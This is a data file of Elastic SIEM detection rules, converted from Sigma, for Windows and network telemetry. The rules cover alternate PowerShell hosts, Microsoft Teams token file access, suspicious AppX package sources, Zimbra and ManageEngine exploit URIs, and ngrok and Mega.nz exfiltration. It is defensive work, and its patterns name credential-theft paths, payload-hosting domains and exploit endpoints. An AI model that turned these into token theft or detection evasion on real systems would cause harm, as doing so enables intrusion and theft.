{"description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "enabled": false, "false_positives": ["Programs using PowerShell directly without invocation of a dedicated interpreter", "MSP Detection Searcher", "Citrix ConfigSync.ps1"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "26a18131-63fc-26d8-f0b1-139c072c47ce", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Alternate PowerShell Hosts", "query": "(ContextInfo:*\\** AND (NOT ((ContextInfo:(*\\=\\ powershell* OR *\\=\\ C\\:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell* OR *\\=\\ C\\:\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell*)) OR (ContextInfo:*ConfigSyncRun.exe*) OR (ContextInfo:*C\\:\\\\Windows\\\\system32\\\\dsac.exe*) OR (ContextInfo:*C\\:\\\\Windows\\\\system32\\\\wsmprovhost.exe\\ \\-Embedding*) OR ((powershell.command.invocation_details:(*Update\\-Help* OR *Failed\\ to\\ update\\ Help\\ for\\ the\\ module*) OR winlog.event_data.Payload:(*Update\\-Help* OR *Failed\\ to\\ update\\ Help\\ for\\ the\\ module*))))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "enabled": false, "false_positives": ["Programs using PowerShell directly without invocation of a dedicated interpreter."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f7999728-b776-899b-5cc0-a2490bd8ea04", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Alternate PowerShell Hosts Pipe", "query": "(file.name:\\\\PSHost* AND (NOT ((process.executable.text:(*\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\WINDOWS\\\\System32\\\\sdiagnhost.exe OR *\\\\WINDOWS\\\\System32\\\\wsmprovhost.exe OR *\\\\Windows\\\\system32\\\\dsac.exe OR *\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe OR *\\\\ForefrontActiveDirectoryConnector.exe OR *c\\:\\\\windows\\\\system32\\\\inetsrv\\\\w3wp.exe)) OR (NOT _exists_:process.executable.text) OR (process.executable.text:*\\:\\\\Program\\ Files* AND process.executable.text:*\\\\Microsoft\\ SQL\\ Server\\\\* AND process.executable.text:*\\\\Tools\\\\Binn\\\\SQLPS.exe) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\Citrix\\\\* OR C\\:\\\\Program\\ Files\\\\Microsoft\\\\Exchange\\ Server\\\\*)) OR (process.executable.text:(\"C\\:\\\\Windows\\\\system32\\\\ServerManager.exe\" OR \"C\\:\\\\Program\\ Files\\\\PowerShell\\\\7\\\\pwsh.exe\")))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Tim Shelton"], "license": ""}
{"description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "26a18131-63fc-26d8-f0b1-139c072c47ce", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Alternate PowerShell Hosts", "query": "((winlog.event_data.Description:\"System.Management.Automation\" AND dll.path:*System.Management.Automation*) AND (NOT ((process.executable.text:(*\\\\powershell.exe OR *\\\\mscorsvw.exe) OR process.executable.text:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Program\\ Files\\\\Citrix\\\\ConfigSync\\\\*)) OR (NOT _exists_:process.executable.text))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5cb11a3c-457c-79fa-26eb-8f7ed5853b6e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious File Event With Teams Objects", "query": "(file.path.text:(*\\\\Microsoft\\\\Teams\\\\Cookies* OR *\\\\Microsoft\\\\Teams\\\\Local\\ Storage\\\\leveldb*) AND (NOT (process.executable.text:*\\\\Microsoft\\\\Teams\\\\current\\\\Teams.exe*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1528"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1528", "name": "Steal Application Access Token", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@SerkinValery"], "license": ""}
{"description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "dea852dc-92b4-4d8c-b1d1-2477048506ee", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Command With Teams Objects Pathes", "query": "(process.command_line.text:(*\\\\Microsoft\\\\Teams\\\\Cookies* OR *\\\\Microsoft\\\\Teams\\\\Local\\ Storage\\\\leveldb*) AND (NOT (process.executable.text:*\\\\Microsoft\\\\Teams\\\\current\\\\Teams.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1528"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1528", "name": "Steal Application Access Token", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@SerkinValery"], "license": ""}
{"description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40ec06a6-c26c-6e46-6d09-a2fd8d296357", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Teams Application Related ObjectAcess Event", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4663\" AND winlog.event_data.ObjectName:(*\\\\Microsoft\\\\Teams\\\\Cookies* OR *\\\\Microsoft\\\\Teams\\\\Local\\ Storage\\\\leveldb*)) AND (NOT (winlog.event_data.ProcessName:*\\\\Microsoft\\\\Teams\\\\current\\\\Teams.exe*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1528"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1528", "name": "Steal Application Access Token", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@SerkinValery"], "license": ""}
{"description": "Detects an Antivirus alert in a highly relevant file path or with a relevant file name", "author": ["Florian Roth", "Arnim Rupp"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8ed5f2d5-d776-eb54-04d2-be2f2d140bad", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Antivirus Relevant File Paths Alerts", "query": "((Filename:(C\\:\\\\Windows\\\\* OR C\\:\\\\Temp\\\\* OR C\\:\\\\PerfLogs\\\\* OR C\\:\\\\Users\\\\Public\\\\* OR C\\:\\\\Users\\\\Default\\\\*)) OR (Filename:(*\\\\Client\\\\* OR *\\\\tsclient\\\\* OR *\\\\inetpub\\\\* OR *\\/www\\/* OR *apache* OR *tomcat* OR *nginx* OR *weblogic*)) OR (Filename:(*.asax OR *.ashx OR *.asmx OR *.asp OR *.aspx OR *.bat OR *.cfm OR *.cgi OR *.chm OR *.cmd OR *.dat OR *.ear OR *.gif OR *.hta OR *.jpeg OR *.jpg OR *.jsp OR *.jspx OR *.lnk OR *.php OR *.pl OR *.png OR *.ps1 OR *.psm1 OR *.py OR *.pyc OR *.rb OR *.scf OR *.sct OR *.sh OR *.svg OR *.txt OR *.vbe OR *.vbs OR *.war OR *.wsf OR *.wsh OR *.xml)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Resource Development", "T1588"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1588", "name": "Obtain Capabilities", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is downloaded from a suspicious domain", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "13b88ff5-a34d-1936-3927-808d7feeb8ca", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Remote AppX Package Locations", "query": "(winlog.event_id:\"854\" AND winlog.event_data.Path:(*transfer.sh* OR *raw.githubusercontent.com* OR *gist.githubusercontent.com* OR *pastebin.com* OR *cdn.discordapp.com\\/attachments\\/* OR *mediafire.com* OR *mega.nz* OR *ddns.net* OR *.paste.ee* OR *.hastebin.com* OR *.ghostbin.co\\/* OR *ufile.io* OR *storage.googleapis.com* OR *anonfiles.com* OR *send.exploit.in* OR *privatlab.net* OR *privatlab.com* OR *sendspace.com*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is downloaded from a suspicious domain", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "13b88ff5-a34d-1936-3927-808d7feeb8ca", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Remote AppX Package Locations", "query": "(winlog.event_id:\"854\" AND winlog.event_data.Path:(*transfer.sh* OR *raw.githubusercontent.com* OR *gist.githubusercontent.com* OR *pastebin.com* OR *cdn.discordapp.com\\/attachments\\/* OR *mediafire.com* OR *mega.nz* OR *ddns.net* OR *.paste.ee* OR *.hastebin.com* OR *.ghostbin.co\\/* OR *ufile.io* OR *storage.googleapis.com* OR *anonfiles.com* OR *send.exploit.in* OR *privatlab.net* OR *privatlab.com* OR *sendspace.com*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is located in suspicious locations", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ffe37bfd-e680-477a-884e-5aa2ab8289d8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious AppX Package Locations", "query": "(winlog.event_id:\"854\" AND winlog.event_data.Path:(*C\\:\\\\Users\\\\Public\\\\* OR *\\/users\\/public\\/* OR *C\\:\\\\PerfLogs\\\\* OR *C\\:\\/perflogs\\/* OR *\\\\Desktop\\\\* OR *\\/desktop\\/* OR *\\\\Downloads\\\\* OR *\\/Downloads\\/* OR *C\\:\\\\Windows\\\\Temp\\\\* OR *C\\:\\/Windows\\/Temp\\/* OR *\\\\AppdData\\\\Local\\\\Temp\\\\* OR *\\/AppdData\\/Local\\/Temp\\/*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is located in suspicious locations", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ffe37bfd-e680-477a-884e-5aa2ab8289d8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious AppX Package Locations", "query": "(winlog.event_id:\"854\" AND winlog.event_data.Path:(*C\\:\\\\Users\\\\Public\\\\* OR *\\/users\\/public\\/* OR *C\\:\\\\PerfLogs\\\\* OR *C\\:\\/perflogs\\/* OR *\\\\Desktop\\\\* OR *\\/desktop\\/* OR *\\\\Downloads\\\\* OR *\\/Downloads\\/* OR *C\\:\\\\Windows\\\\Temp\\\\* OR *C\\:\\/Windows\\/Temp\\/* OR *\\\\AppdData\\\\Local\\\\Temp\\\\* OR *\\/AppdData\\/Local\\/Temp\\/*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is located in uncommon locations", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2e1e2de5-da7a-4f07-3a3b-d2bb54dae423", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Uncommon AppX Package Locations", "query": "(winlog.event_id:\"854\" AND (NOT ((winlog.event_data.Path:(*C\\:\\\\Program\\ Files\\\\WindowsApps\\\\* OR *C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR *C\\:\\\\Windows\\\\SystemApps\\\\* OR *C\\:\\\\Windows\\\\PrintDialog\\\\* OR *C\\:\\\\Windows\\\\ImmersiveControlPanel\\\\* OR *x\\-windowsupdate\\:\\/\\/* OR *file\\:\\/\\/\\/C\\:\\/Program%20Files*)) OR (winlog.event_data.Path:(*https\\:\\/\\/statics.teams.cdn.office.net\\/* OR *microsoft.com*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package added the pipeline of the \"to be processed\" packages which is located in uncommon locations", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2e1e2de5-da7a-4f07-3a3b-d2bb54dae423", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Uncommon AppX Package Locations", "query": "(winlog.event_id:\"854\" AND (NOT ((winlog.event_data.Path:(*C\\:\\\\Program\\ Files\\\\WindowsApps\\\\* OR *C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR *C\\:\\\\Windows\\\\SystemApps\\\\* OR *C\\:\\\\Windows\\\\PrintDialog\\\\* OR *C\\:\\\\Windows\\\\ImmersiveControlPanel\\\\* OR *x\\-windowsupdate\\:\\/\\/* OR *file\\:\\/\\/\\/C\\:\\/Program%20Files*)) OR (winlog.event_data.Path:(*https\\:\\/\\/statics.teams.cdn.office.net\\/* OR *microsoft.com*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package deployment that was blocked by AppLocker policy", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "333d5e54-df19-d6df-7494-2a9751f56fff", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Deployment AppX Package Was Blocked By AppLocker", "query": "winlog.event_id:\"412\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package deployment that was blocked by the local computer policy", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eb94eeab-dd5d-4e22-4403-b919b5d39be1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Deployment Of The AppX Package Was Blocked By The Policy", "query": "winlog.event_id:(\"441\" OR \"442\" OR \"453\" OR \"454\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package installation with the error code \"0x80073cff\". Whihc indicates that the package didn't meet the sgining requirements and could be suspicious", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate AppX packages not signed by MS used part of an enterprise"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "16daaf93-f45a-66f2-dd29-f127cb3b258f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious AppX Package Installation Attempt", "query": "(winlog.event_id:\"401\" AND ErrorCode:\"0x80073cff\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an appx package installation with the error code \"0x80073cff\". Whihc indicates that the package didn't meet the sgining requirements and could be suspicious", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate AppX packages not signed by MS used part of an enterprise"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "16daaf93-f45a-66f2-dd29-f127cb3b258f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious AppX Package Installation Attempt", "query": "(winlog.event_id:\"401\" AND ErrorCode:\"0x80073cff\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an attempt to execute code or create service on remote host via winrm.vbs.", "enabled": false, "false_positives": ["Legitimate use for administartive purposes. Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e5550eb4-bef6-87b3-39cc-675243430d62", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote Code Execute via Winrm.vbs", "query": "((process.executable:*\\\\cscript.exe OR winlog.event_data.OriginalFileName:\"cscript.exe\") AND (process.command_line:*winrm* AND process.command_line:*invoke\\ Create\\ wmicimv2\\/Win32_* AND process.command_line:*\\-r\\:http*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "Signed Script Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Julia Fomina", "oscd.community"], "license": ""}
{"description": "Detects an attempt to leverage the vulnerable servlet \"mboximport\" for an unauthenticated remote command injection", "author": ["@gott_cyber"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "40948e60-620d-d323-b1b9-a29a3b163381", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Zimbra Collaboration Suite Email Server Unauthenticated RCE", "query": "(((http.request.method:\"POST\" AND cs-uri-query:*\\/service\\/extension\\/backup\\/mboximport\\?* AND cs-uri-query:*account\\-name* AND cs-uri-query:*ow* AND cs-uri-query:*no\\-switch* AND cs-uri-query:*append* AND http.response.status_code:(\"401\" OR \"200\"))) OR ((cs-uri-query:*\\/zimbraAdmin\\/* AND cs-uri-query:*.jsp AND http.response.status_code:*200*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).", "author": ["Sittikorn S", "Nuttakorn Tungpoonsup"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8f25c921-a923-2fee-5c0a-3596f6d0c364", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit", "query": "cs-uri-query:(*\\/help\\/admin\\-guide\\/Reports\\/ReportGenerate.jsp* OR *\\/RestAPI\\/LogonCustomization* OR *\\/RestAPI\\/Connection*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292. You will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.", "enabled": false, "false_positives": ["You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.", "Office documents commonly have templates that refer to external addresses, like sharepoint.ourcompany.com may have to be tuned.", "It is highly recomended to baseline your activity and tune out common business use cases."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e08db4a9-46b3-d210-9b7b-e934c7f6a1f9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Excel Network Connections", "query": "((process.executable:*\\\\excel.exe AND winlog.event_data.Initiated:\"true\" AND DestinationIsIpv6:\"false\") AND (NOT (destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 127.0.0.1*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1203"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock '@securepeacock'", "SCYTHE '@scythe_io'", "Florian Roth '@Neo23x0\"", "Tim Shelton"], "license": ""}
{"description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", "enabled": false, "false_positives": ["Legitimate use of ngrok"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d159a2b1-9ca9-256b-fb90-8617b37defe7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Communication To Ngrok Tunneling Service - Linux", "query": "destination.domain:(*tunnel.us.ngrok.com* OR *tunnel.eu.ngrok.com* OR *tunnel.ap.ngrok.com* OR *tunnel.au.ngrok.com* OR *tunnel.sa.ngrok.com* OR *tunnel.jp.ngrok.com* OR *tunnel.in.ngrok.com*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1090", "T1102", "T1567", "T1568", "T1572"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", "enabled": false, "false_positives": ["Legitimate use of ngrok"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0eba7b74-61ec-7764-97dd-4b4bfa62cec6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Communication To Ngrok Tunneling Service", "query": "destination.domain:(*tunnel.us.ngrok.com* OR *tunnel.eu.ngrok.com* OR *tunnel.ap.ngrok.com* OR *tunnel.au.ngrok.com* OR *tunnel.sa.ngrok.com* OR *tunnel.jp.ngrok.com* OR *tunnel.in.ngrok.com*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1090", "T1102", "T1567", "T1568", "T1572"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors", "enabled": false, "false_positives": ["Legitimate use of mega.nz uploaders and tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7cf83c66-91d8-1b22-6726-61d2db6d0f1a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Communication To Mega.nz", "query": "(winlog.event_data.Initiated:\"true\" AND destination.domain:*api.mega.co.nz)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects an executable in the users directory started from Microsoft Word, Excel, Powerpoint, Publisher or Visio", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0b89f053-2be1-f6cc-f8f3-eabffa6afb6f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MS Office Product Spawning Exe in User Dir", "query": "((process.parent.executable:(*\\\\WINWORD.EXE OR *\\\\EXCEL.EXE OR *\\\\POWERPNT.exe OR *\\\\MSPUB.exe OR *\\\\VISIO.exe OR *\\\\MSACCESS.exe OR *\\\\EQNEDT32.exe) AND process.executable:C\\:\\\\users\\\\* AND process.executable:*.exe) AND (NOT (process.executable:*\\\\Teams.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["sha256=23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57c", ""], "timestamp_override": "event.ingested", "author": ["Jason Lynch"], "license": ""}
